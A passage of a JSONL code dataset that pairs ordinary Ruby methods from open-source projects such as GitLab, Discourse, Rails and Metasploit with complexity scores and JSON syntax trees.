send\",\"children\":[null,\"parameters\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"order\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_posts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parameters\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"max_posts\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parameters\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tags\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"before\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parameters\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"before\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"after\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parameters\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"after\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parameters\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_results\"]},{\"type\":\"lvar\",\"children\":[\"max_results\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search_private\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"user\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hyde\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"ai_embeddings_semantic_search_use_hyde\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@last_num_results\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"rows\"]}]},\"length\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvar\",\"children\":[\"results\"]}]}]}","id":"6df543ff-1366-4d1f-a539-9957b73bc074"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/ci/runners_finder.rb","start_line":129,"raw_source":"def by_upgrade_status(items)\n      upgrade_status = @params[:upgrade_status]\n\n      return items unless upgrade_status\n\n      unless Ci::RunnerVersion.statuses.key?(upgrade_status)\n        raise ArgumentError, \"Invalid upgrade status value '#{upgrade_status}'\"\n      end\n\n      items.with_upgrade_status(upgrade_status)\n    end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"by_upgrade_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"upgrade_status\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"upgrade_status\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upgrade_status\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"RunnerVersion\"]},\"statuses\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"upgrade_status\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid upgrade status value '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upgrade_status\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"with_upgrade_status\",{\"type\":\"lvar\",\"children\":[\"upgrade_status\"]}]}]}]}","id":"90ed23f5-e6fe-4a98-9fbc-57529a5c36e6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/blob_controller.rb","start_line":255,"raw_source":"def editor_variables\n    @branch_name = params[:branch_name]\n\n    @file_path = fetch_file_path\n\n    params[:content] = params[:file] if params[:file].present?\n\n    @commit_params = {\n      file_path: @file_path,\n      commit_message: params[:commit_message],\n      previous_path: @path,\n      file_content: params[:content],\n      file_content_encoding: params[:encoding],\n      last_commit_sha: params[:last_commit_sha]\n    }\n  end","complexity_score":24.2,"ast_json":"{\"type\":\"def\",\"children\":[\"editor_variables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@branch_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"branch_name\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@file_path\",{\"type\":\"send\",\"children\":[null,\"fetch_file_path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file\"]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@commit_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_path\"]},{\"type\":\"ivar\",\"children\":[\"@file_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit_message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"commit_message\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"previous_path\"]},{\"type\":\"ivar\",\"children\":[\"@path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"content\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_content_encoding\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"encoding\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_commit_sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"last_commit_sha\"]}]}]}]}]}]}]}","id":"ba240dc3-0b93-4a52-b9b4-e7dcd590821e"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/pretty_text/helpers.rb","start_line":18,"raw_source":"def avatar_template(username)\n      return \"\" unless username\n      user = User.find_by(username_lower: username.downcase)\n      return \"\" if user.blank?\n\n      # TODO: Add support for ES6 and call `avatar-template` directly\n      UrlHelper.schemaless(UrlHelper.absolute(user.avatar_template))\n    end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"avatar_template\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username_lower\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},\"downcase\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UrlHelper\"]},\"schemaless\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UrlHelper\"]},\"absolute\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"avatar_template\"]}]}]}]}]}","id":"0a271e51-1532-47d9-be89-ed1d8485962e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/file.rb","start_line":165,"raw_source":"def File.zero?(name)\n    stat(name).zero?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"zero?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stat\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"zero?\"]}]}","id":"1ba51e0a-bb10-4768-b1e8-876a0d500a89"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/slice/routing/middleware/stack.rb","start_line":64,"raw_source":"def initialize_copy(source)\n            super\n            @stack = stack.dup\n            @namespaces = namespaces.dup\n          end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize_copy\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@stack\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stack\"]},\"dup\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@namespaces\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespaces\"]},\"dup\"]}]}]}]}","id":"7836c6e2-70a1-4155-9bb5-7d4f896beb3a"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/feed_event.rb","start_line":141,"raw_source":"def create_feed_config_offshoot\n    # Any time we get a reaction or comment, we branch off a slightly modified feed based on the success of the current one\n    return unless feed_config\n    return unless %w[reaction comment].include?(category)\n\n    feed_config.create_slightly_modified_clone!\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_feed_config_offshoot\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"feed_config\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"reaction\"]},{\"type\":\"str\",\"children\":[\"comment\"]}]},\"include?\",{\"type\":\"send\",\"children\":[null,\"category\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"feed_config\"]},\"create_slightly_modified_clone!\"]}]}]}","id":"48e15ee1-24fe-4362-a8ef-b161066015ac"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/spec/runtime/script_extensions/interceptor_spec.rb","start_line":75,"raw_source":"def clear_cache\n    browser.execute_script <<~JS\n      Interceptor.saveCache({})\n    JS\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"browser\"]},\"execute_script\",{\"type\":\"str\",\"children\":[\"Interceptor.saveCache({})\\n\"]}]}]}","id":"64388e45-ffa1-4312-a486-3cd3d57fdcf8"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/seeders/meetings/demo_data/meeting_series_seeder.rb","start_line":95,"raw_source":"def minutes_to_hours(duration)\n        duration && (duration / 60.0)\n      end","complexity_score":2.43,"ast_json":"{\"type\":\"def\",\"children\":[\"minutes_to_hours\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"duration\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duration\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duration\"]},\"/\",{\"type\":\"float\",\"children\":[60.0]}]}]}]}]}","id":"0b93273d-8ac7-469c-b011-08df3d403de9"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-zendesk-plugin/db/migrate/20200917041108_disable_zendesk_plugin_by_default.rb","start_line":4,"raw_source":"def change\n    # enable Zendesk plugin for sites that have configured Zendesk API token\n    zendesk_email =\n      DB.query_single(\"SELECT value FROM site_settings WHERE name = 'zendesk_jobs_email'\").first\n    zendesk_api_token =\n      DB.query_single(\"SELECT value FROM site_settings WHERE name = 'zendesk_jobs_api_token'\").first\n    DB.exec(<<~SQL) if zendesk_email.present? && zendesk_api_token.present?\n        INSERT INTO site_settings (name, data_type, value, created_at, updated_at)\n        VALUES ('zendesk_enabled', 5, 't', now(), now())\n        ON CONFLICT (name)\n        DO NOTHING\n      SQL\n  end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"zendesk_email\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"str\",\"children\":[\"SELECT value FROM site_settings WHERE name = 'zendesk_jobs_email'\"]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"zendesk_api_token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"str\",\"children\":[\"SELECT value FROM site_settings WHERE name = 'zendesk_jobs_api_token'\"]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zendesk_email\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zendesk_api_token\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO site_settings (name, data_type, value, created_at, updated_at)\\n\"]},{\"type\":\"str\",\"children\":[\"VALUES ('zendesk_enabled', 5, 't', now(), now())\\n\"]},{\"type\":\"str\",\"children\":[\"ON CONFLICT (name)\\n\"]},{\"type\":\"str\",\"children\":[\"DO NOTHING\\n\"]}]}]},null]}]}]}","id":"ffa5e516-0106-4c8e-8d51-0999921e1dff"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_action.rb","start_line":363,"raw_source":"def action_compliance_failed(action, rec, _inputs)\n    # Nothing to do here. This action will get added to the :actions list in results and will be acted on by the Compliance.check_compliance methods\n    MiqPolicy.logger.info(\"MIQ(action_compliance_failed): Now executing [#{action.description}] of #{rec.class.name} [#{rec.name}]\")\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"action_compliance_failed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]},{\"type\":\"arg\",\"children\":[\"rec\"]},{\"type\":\"arg\",\"children\":[\"_inputs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqPolicy\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"MIQ(action_compliance_failed): Now executing [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"description\"]}]},{\"type\":\"str\",\"children\":[\"] of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}]}","id":"83685cec-f7ce-4c29-a011-4d89cbd8c160"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/web_hook_service.rb","start_line":276,"raw_source":"def log_auth_error(message, params = {})\n    Gitlab::AuthLogger.error(\n      params.merge(\n        { message: message, hook_id: hook.id, hook_type: hook.type, hook_name: hook_name },\n        Gitlab::ApplicationContext.current\n      )\n    )\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"log_auth_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AuthLogger\"]},\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hook_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hook\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hook_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hook\"]},\"type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hook_name\"]},{\"type\":\"send\",\"children\":[null,\"hook_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ApplicationContext\"]},\"current\"]}]}]}]}","id":"1e836aa3-c3fa-4603-95d8-f7c7f3649d4c"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/acts_as_ar_model.rb","start_line":226,"raw_source":"def attribute_for_inspect(attr_name)\n    value = self[attr_name]\n\n    if value.kind_of?(String) && value.length > 50\n      \"#{value[0..50]}...\".inspect\n    elsif value.kind_of?(Date) || value.kind_of?(Time)\n      %(\"#{value.to_fs(:db)}\")\n    else\n      value.inspect\n    end\n  end","complexity_score":17.23,"ast_json":"{\"type\":\"def\",\"children\":[\"attribute_for_inspect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attr_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"lvar\",\"children\":[\"attr_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[50]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[50]}]}]}]},{\"type\":\"str\",\"children\":[\"...\"]}]},\"inspect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Date\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Time\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_fs\",{\"type\":\"sym\",\"children\":[\"db\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"inspect\"]}]}]}]}]}","id":"b0549939-6fd5-439c-9d79-691d48c033d5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers/blob_helpers.rb","start_line":19,"raw_source":"def check_rate_limit_for_blob(blob, endpoint = nil)\n        return unless blob\n        return unless blob.size > Helpers::BlobHelpers::MAX_BLOB_SIZE\n\n        check_rate_limit!(:large_blob_download, scope: [user_project], message: error_msg(endpoint))\n      end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"check_rate_limit_for_blob\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"blob\"]},{\"type\":\"optarg\",\"children\":[\"endpoint\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blob\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blob\"]},\"size\"]},\">\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Helpers\"]},\"BlobHelpers\"]},\"MAX_BLOB_SIZE\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"check_rate_limit!\",{\"type\":\"sym\",\"children\":[\"large_blob_download\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_project\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"error_msg\",{\"type\":\"lvar\",\"children\":[\"endpoint\"]}]}]}]}]}]}]}","id":"1786846a-c2c4-4e82-a44a-f4c4b3fc52d1"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/migration.rb","start_line":1308,"raw_source":"def pending_migration_versions # :nodoc:\n      migrations.collect(&:version) - get_all_versions\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"pending_migration_versions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migrations\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]}]}]},\"-\",{\"type\":\"send\",\"children\":[null,\"get_all_versions\"]}]}]}","id":"4cc5877f-8c93-4a2c-87c1-1fc67a73e518"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/base_controller.rb","start_line":24,"raw_source":"def authorize_admin\n        record = if respond_to?(:model_class, true) && model_class\n                   model_class\n                 else\n                   controller_name.to_sym\n                 end\n        authorize! :admin, record\n        authorize! action, record\n      end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"authorize_admin\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"record\",{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"sym\",\"children\":[\"model_class\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"model_class\"]}]},{\"type\":\"send\",\"children\":[null,\"model_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"controller_name\"]},\"to_sym\"]}]}]},{\"type\":\"send\",\"children\":[null,\"authorize!\",{\"type\":\"sym\",\"children\":[\"admin\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]},{\"type\":\"send\",\"children\":[null,\"authorize!\",{\"type\":\"send\",\"children\":[null,\"action\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]}","id":"24104f31-a57c-40e4-b0a1-635f30f4af5e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/auth_finders.rb","start_line":437,"raw_source":"def current_request\n        @current_request ||= ensure_action_dispatch_request(request)\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_request\"]},{\"type\":\"send\",\"children\":[null,\"ensure_action_dispatch_request\",{\"type\":\"send\",\"children\":[null,\"request\"]}]}]}]}","id":"3c114403-38d8-44bd-85d5-6462e0f6dd2a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/gitlab/kas/server_info_presenter.rb","start_line":45,"raw_source":"def valid_version_tag?\n        Gitlab::VersionInfo.parse(git_ref).valid?\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_version_tag?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"VersionInfo\"]},\"parse\",{\"type\":\"send\",\"children\":[null,\"git_ref\"]}]},\"valid?\"]}]}","id":"62c030a6-f82e-4851-bafa-b56aa3db6f8b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/design_management/design_resolver.rb","start_line":42,"raw_source":"def parse_args(filename, id)\n        provided = [filename, id].map(&:present?)\n\n        if provided.none?\n          error('one of id or filename must be passed')\n        elsif provided.all?\n          error('only one of id or filename may be passed')\n        elsif filename.present?\n          { filenames: [filename] }\n        else\n          { ids: [parse_gid(id)] }\n        end\n      end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_args\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]},{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"provided\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"present?\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provided\"]},\"none?\"]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"str\",\"children\":[\"one of id or filename must be passed\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provided\"]},\"all?\"]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"str\",\"children\":[\"only one of id or filename may be passed\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},\"present?\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filenames\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ids\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_gid\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]}]}]}]}]}]}","id":"71874e4d-7dd2-47ba-837f-e999513cdd23"}
